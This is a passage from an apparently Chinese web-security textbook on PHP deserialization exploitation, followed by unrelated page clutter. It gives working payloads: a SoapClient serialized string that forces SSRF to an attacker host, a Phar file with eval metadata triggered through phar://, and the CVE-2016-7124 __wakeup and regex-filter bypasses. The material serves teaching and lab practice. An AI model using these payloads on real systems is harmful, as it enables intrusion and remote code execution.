中。當開發(fā)者在新版本代碼中移除或重命名了某些方法,但遺留了調(diào)用這些方法的代碼時,就會造成調(diào)用不存在方法的情況。攻擊者通過以下代碼創(chuàng)建SoapClient類對象并構(gòu)造序列化字符串,其中l(wèi)ocation和uri的值設(shè)置為攻擊機的URL,此處設(shè)置為CentOS7攻擊機的URL。<?php//創(chuàng)建指向攻擊者服務(wù)器的SoapClient對象$obj=newSoapClient(null,array(//實際服務(wù)端點,指定請求將被發(fā)送到的URL'location'=>'03:8888/test',//SOAP服務(wù)的命名空間標識符
'uri'=>'03:8888'));$ser=serialize($obj);echo$ser;?>7.6反序列化漏洞利用執(zhí)行上述示例代碼可得到以下序列化字符串:O:10:"SoapClient":4:{s:3:"uri";s:25:"03:8888";s:8:"location";s:30:"03:8888/test";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}將獲得的序列化字符串作為data參數(shù)值,使用Chrome瀏覽器訪問以下URL:04/practice7/soap_client.php?data=O:10:"SoapClient":4:{s:3:"uri";s:25:"03:8888";s:8:"location";s:30:"03:8888/test";s:15:"_stream_context";i:0;s:13:"_soap_version";i:1;}在CentOS7攻擊機中使用Netcat工具監(jiān)聽8888端口7.6反序列化漏洞利用如下圖所示,CentOS7攻擊機收到SOAP接口的請求,該請求正是服務(wù)器代碼執(zhí)行SOAP請求時產(chǎn)生的,這表明攻擊者成功利用服務(wù)器(04)向指定的外部地址(03:8888)發(fā)起HTTP請求,證明了SoapClient類的__call()方法能夠造成SSRF攻擊。7.6反序列化漏洞利用隨著Web開發(fā)者安全意識的增強,傳統(tǒng)的反序列化漏洞利用變得更加困難。2018年,安全研究員SamThomas在Blackhat大會上介紹了一種新型的攻擊方式——Phar反序列化。該攻擊方式利用了一種特殊機制:當通過Phar偽協(xié)議讀取Phar文件時,文件中的元數(shù)據(jù)(Meta-data)信息會被自動反序列化,這種攻擊方式打破了傳統(tǒng)的反序列化漏洞利用的局限性。與只依賴unserialize()函數(shù)的傳統(tǒng)方式相比,Phar反序列化通過結(jié)合phar://偽協(xié)議和PHP文件系統(tǒng)函數(shù)(例如file_get_contents()函數(shù))觸發(fā)反序列化操作,極大地擴展了攻擊面。Phar(PHPArchive)是PHP中的文件打包格式,其功能類似于Java中的JAR文件。Phar支持將多個PHP文件整合到單個歸檔文件中,便于應(yīng)用程序的分發(fā)和部署。自PHP5.3起,PHP默認啟用Phar支持。phar://偽協(xié)議是與Phar文件相關(guān)的一種特殊協(xié)議,用于在PHP中處理Phar文件。通過使用phar://偽協(xié)議,用戶可以直接訪問Phar文件中的內(nèi)容,例如通過phar://var/www/html/archive.phar/file.txt可以訪問archive.phar文件中的file.txt。7.6.2Phar反序列化7.6反序列化漏洞利用Phar文件本質(zhì)上是一種壓縮文件,它不僅包含應(yīng)用程序文件,還存儲著以序列化形式保存的元數(shù)據(jù)信息,其中包括用戶自定義的Meta-data信息。當使用某些特定的文件系統(tǒng)函數(shù)處理Phar文件時,Web應(yīng)用程序會自動對其中的Meta-data信息進行反序列化,這個過程可能造成反序列化漏洞。Phar文件由四個核心部分組成:(1)stub:Phar文件的標識部分。格式為“xxx<?phpxxx;__HALT_COMPILER();?>”,其中“xxx”可以是任意字符,但文件內(nèi)容必須以“__HALT_COMPILER();?>”結(jié)尾,否則Phar擴展將無法識別該文件為Phar文件。(2)manifest:用于存放歸檔文件的各種屬性信息,包括權(quán)限設(shè)置等。這里是反序列化的攻擊點,因為用戶自定義的Meta-data信息會以序列化的形式存儲在此。(3)contents:歸檔文件的主體內(nèi)容區(qū)。文件按照相對路徑被組織在Phar文件中,支持運行時按需加載。(4)signature:可選的數(shù)字簽名部分。用于驗證Phar文件的完整性和安全性。7.6反序列化漏洞利用在實際應(yīng)用中,開發(fā)者需要通過PHP的Phar內(nèi)置類生成Phar文件,并確保php.ini配置文件中的phar.readonly設(shè)置為Off生成Phar文件的示例代碼如下:<?phpclassMyClass{ public$phar_string="HelloPhar";}$obj=newMyClass();$phar=newPhar("myclass.phar");//擴展名必須為phar$phar->startBuffering();$phar->setStub("<?php__HALT_COMPILER();?>");//設(shè)置stub$phar->setMetadata($obj);//寫入用戶自定義的Meta-data信息$phar->addFromString("test.txt","test");//將名為test.txt的文件添加到Phar文件中,并設(shè)置其內(nèi)容為“test”$phar->stopBuffering();//自動計算簽名并完成文件生成?>7.6反序列化漏洞利用運行代碼后會在同級目錄生成myclass.phar文件。使用Winhex軟件查看該文件,發(fā)現(xiàn)用戶自定義的Meta-data信息是以序列化字符串的形式存儲的。下面演示Phar反序列化的漏洞利用,以下phar.php文件代碼存在Phar反序列化漏洞,其中file_get_contents()函數(shù)能夠觸發(fā)Phar反序列化:<?phpclassMyClass{public$code;publicfunction__destruct(){echo'__destruct()被調(diào)用';eval($this->code);}}file_get_contents($_GET['filename’]);?>7.6反序列化漏洞利用MyClass類的__destruct()方法中存在可用于代碼執(zhí)行的eval(),為執(zhí)行目標代碼,需要指定MyClass類的code屬性值。執(zhí)行以下代碼生成Phar文件:<?phpclassMyClass{public$code="phpinfo();";//要執(zhí)行的PHP代碼}$obj=newMyClass();$phar=newPhar("myclass.phar");//擴展名必須為phar$phar->startBuffering();$phar->setStub("<?php__HALT_COMPILER();?>");//設(shè)置stub$phar->setMetadata($obj);//寫入用戶自定義的Meta-data信息$phar->addFromString("test.txt","test");//將名為test.txt的文件添加到Phar文件中,并設(shè)置其內(nèi)容為“test”$phar->stopBuffering();//自動計算簽名并完成文件生成?>7.6反序列化漏洞利用此處假設(shè)Web服務(wù)器存在文件上傳功能,攻擊者上傳了剛剛生成的myclass.phar文件,且該文件與存在反序列化漏洞的phar.php文件位于同一目錄,使用Chrome瀏覽器訪問以下URL:04/practice7/phar.php?filename=phar://myclass.phar/test.txt攻擊者通過該HTTP請求訪問practice7目錄下myclass.phar歸檔文件中的test.txt文件,請求結(jié)果如下圖所示,成功觸發(fā)Phar反序列化并造成代碼執(zhí)行漏洞。注意:Phar文件并不一定需要與存在反序列化漏洞的phar.php文件位于同一目錄,攻擊者可在“phar://<path>”的“<path>”中指定Phar文件的絕對路徑。例如,Phar文件位于/tmp目錄中,則應(yīng)訪問“04/practice7/phar.php?filename=phar:///tmp/myclass.phar/test.txt”。通過Phar反序列化造成代碼執(zhí)行漏洞7.6反序列化漏洞利用本例中的反序列化漏洞并非源于傳統(tǒng)的unserialize()函數(shù),而是由file_get_contents()函數(shù)在加載Phar文件時自動觸發(fā)對Meta-data信息的反序列化造成。實際上,PHP中大部分的文件系統(tǒng)函數(shù)在通過phar://偽協(xié)議解析Phar文件時,都會對Meta-data信息進行反序列化,受影響的文件系統(tǒng)函數(shù)包括:stat()、fileatime()、filectime()、file_exists()、file_get_contents()、file_put_contents()、file()、filegroup()、fopen()、fileinode()、filemtime()、fileowner()、fileperms()、is_dir()、is_executable()、is_file()、is_link()、is_readable()、is_writable()、is_writeable()、parse_ini_file()、copy()、unlink()、readfile()、md5_file()、filesize()、exif_thumbnail()、exif_imagetype()、getimagesize()、getimagesizefromstring()等。利用Phar反序列化需要滿足以下條件:(1)攻擊者能將精心構(gòu)造的Phar文件上傳至Web服務(wù)器。(2)Web應(yīng)用程序中存在上述能夠觸發(fā)反序列化操作的文件系統(tǒng)函數(shù),且文件系統(tǒng)函數(shù)的參數(shù)可控。(3)Web應(yīng)用程序中包含可作為攻擊“跳板”的魔術(shù)方法。(4)Web應(yīng)用程序?qū)Α?”、“/”、“phar”等關(guān)鍵字符過濾不嚴格。7.7反序列化漏洞繞過7.7.1繞過針對__wakeup()方法的防御機制7.7.2繞過正則表達式檢測7.7反序列化漏洞繞過在PHP的反序列化過程中,__wakeup()方法常被用于執(zhí)行安全檢查和對象初始化操作。本小節(jié)將介紹如何繞過針對__wakeup()方法的防御機制。該繞過方式源自CVE-2016-7124漏洞,當序列化字符串中聲明的對象屬性數(shù)量大于實際存在的屬性數(shù)量時,PHP會跳過__wakeup()方法的執(zhí)行。此繞過方式適用于PHP5.6.25之前的5.x版本和PHP7.0.10之前的7.x版本。本小節(jié)需在CentOS7靶機中使用Docker部署PHP7.0.9環(huán)境,執(zhí)行以下命令部署環(huán)境:7.7.1繞過針對__wakeup()方法的防御機制dockerrun-d-v/var/www/html/practice7:/var/www/html-p8000:80php:7.0.9-apache其中,“-d”表示以分離模式運行容器(在后臺運行),“-v/var/www/html/practice7:/var/www/html”表示將宿主機的/var/www/html/practice7目錄掛載到容器的/var/www/html目錄中,“-p8000:80”表示將容器80端口映射到宿主機的8000端口,“php:7.0.9-apache”指定創(chuàng)建容器所使用的鏡像。7.7反序列化漏洞繞過成功執(zhí)行以上命令后,可通過“04:8000/bypass_wakeup.php”訪問漏洞環(huán)境,其中bypass_wakeup.php是一個在__wakeup()方法中執(zhí)行相關(guān)防御措施的示例,其代碼如下:<?phpclassMyClass{public$name;function__wakeup(){echo"調(diào)用了__wakeup()".PHP_EOL;echo"執(zhí)行了__wakeup()中的防御措施".PHP_EOL;//假設(shè)此處執(zhí)行了相關(guān)防御措施
}function__destruct(){echo"調(diào)用了__destruct()".PHP_EOL;echo"反序列化對象的name屬性值為:$this->name";}}unserialize($_GET['data']);7.7反序列化漏洞繞過在正常情況下,Web應(yīng)用程序?qū)ata參數(shù)值進行反序列化時會首先調(diào)用__wakeup()方法,并在銷毀對象前調(diào)用__destruct()方法。使用Chrome瀏覽器訪問以下URL:04:8000/bypass_wakeup.php?data=O:7:"MyClass":1:{s:4:"name";s:3:"Web";}正常的反序列化過程。參照CVE-2016-7124漏洞原理,將序列化字符串中表示對象屬性數(shù)量的值從1更改為100,顯然該值大于實際存在的屬性數(shù)量。使用Chrome瀏覽器訪問以下URL:04:8000/bypass_wakeup.php?data=O:7:"MyClass":100:{s:4:"name";s:3:"Web";}反序列化過程中__wakeup()方法并沒有被調(diào)用,成功繞過針對__wakeup()方法的防御機制。7.7反序列化漏洞繞過SugarCRM(一套開源的客戶關(guān)系管理系統(tǒng))在6.5.23及更早版本中存在一個反序列化漏洞,該漏洞源于系統(tǒng)使用的正則表達式驗證存在缺陷,攻擊者可以通過在對象名稱長度前插入一個“+”符號繞過安全檢查,導(dǎo)致系統(tǒng)執(zhí)行不安全的反序列化操作。此繞過方式適用于PHP7.2.0之前的版本,從PHP7.2.0開始被修復(fù)。SugarCRM中使用正則表達式“/[oc]:\d+:/i”進行安全過濾,該正則表達式會過濾形如“O:數(shù)字”或“C:數(shù)字”的序列化字符串。然而,攻擊者可以通過在對象的名稱長度前插入“+”號(形如“O:+數(shù)字”或者“C:+數(shù)字”)繞過這一安全過濾。這種繞過方式的原理可以在PHP源代碼(var_unserializer.c)中得到解釋,部分關(guān)鍵源碼如下圖所示。當解析器遇到字符“O”或“C”時,程序首先跳轉(zhuǎn)到y(tǒng)y4標號,接著對下一個字符進行判斷,如果是“:”則跳轉(zhuǎn)到y(tǒng)y17標號。在yy17標號中,如果下一個字符是數(shù)字,則程序跳轉(zhuǎn)到y(tǒng)y31標號,如果是“+”符號則跳轉(zhuǎn)到y(tǒng)y30標號。而在yy30標號中,如果下一個字符是數(shù)字,最終Web應(yīng)用程序還是會進入yy31標號并在后續(xù)進行反序列化(限于篇幅,yy31標號的代碼未給出,讀者可自行查閱PHP源代碼)。由此可見,如果在對象名稱長度前插入“+”,序列化字符串依然能夠正常進行反序列化,從而繞過正則表達式檢測。7.7.2繞過正則表達式檢測7.7反序列化漏洞繞過本小節(jié)需在CentOS7靶機上使用Docker部署PHP7.0.9環(huán)境,執(zhí)行以下命令部署環(huán)境:dockerrun-d-v/var/www/html/practice7:/var/www/html-p8000:80php:7.0.9-apache反序列化的部分源碼7.7反序列化漏洞繞過成功執(zhí)行以上命令后,可通過“04:8000/bypass_regex.php”訪問漏洞環(huán)境,其中bypass_regex.php是一個采用正則表達式檢測序列化字符串的示例,其代碼如下:<?phpclassMyClass{public$name;function__wakeup(){echo"調(diào)用了__wakeup()";}}functionsugar_unserialize($value){preg_match('/[oc]:\d+:/i',$value,$matches);if(
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- ?;愤\輸安全管理細則
- 2025江蘇徐州市泉山國有資產(chǎn)投資經(jīng)營有限公司投后管理崗招聘考試(第一輪)考試備考題庫及答案解析
- 游標卡尺精準測量教學(xué)方案
- 員工職業(yè)傾向自我評估指南
- 2026年宜昌當陽市“招才興業(yè)”事業(yè)單位人才引進34人·武漢大學(xué)站筆試備考題庫及答案解析
- 中學(xué)生物多樣性章節(jié)測評題庫合集
- 小學(xué)語文閱讀理解訓(xùn)練材料
- 2026安徽池州市石臺縣兵役登記和征兵工作筆試模擬試題及答案解析
- 食品加工廠質(zhì)量控制管理手冊
- 教師職稱評定申請報告范例參考
- 2023年魯教版(五四制)數(shù)學(xué)八年級上冊期末考試綜合檢測試卷及部分答案(共三套)
- 房產(chǎn)證授權(quán)委托書的模板
- 預(yù)應(yīng)力混凝土管樁(L21G404)
- 2022-2023學(xué)年北京市豐臺區(qū)北京版六年級上冊期末考試英語試卷【含答案】
- 西方思想經(jīng)典導(dǎo)讀智慧樹知到期末考試答案章節(jié)答案2024年湖南師范大學(xué)
- 《工程材料》鐵碳合金相圖
- 青海省西寧市2023-2024學(xué)年高一上學(xué)期期末調(diào)研測試數(shù)學(xué)試卷(解析版)
- 判決分析報告
- 駕照體檢表完整版本
- 箱包生產(chǎn)車間管理制度
- 赫茲伯格-雙因素理論
評論
0/150
提交評論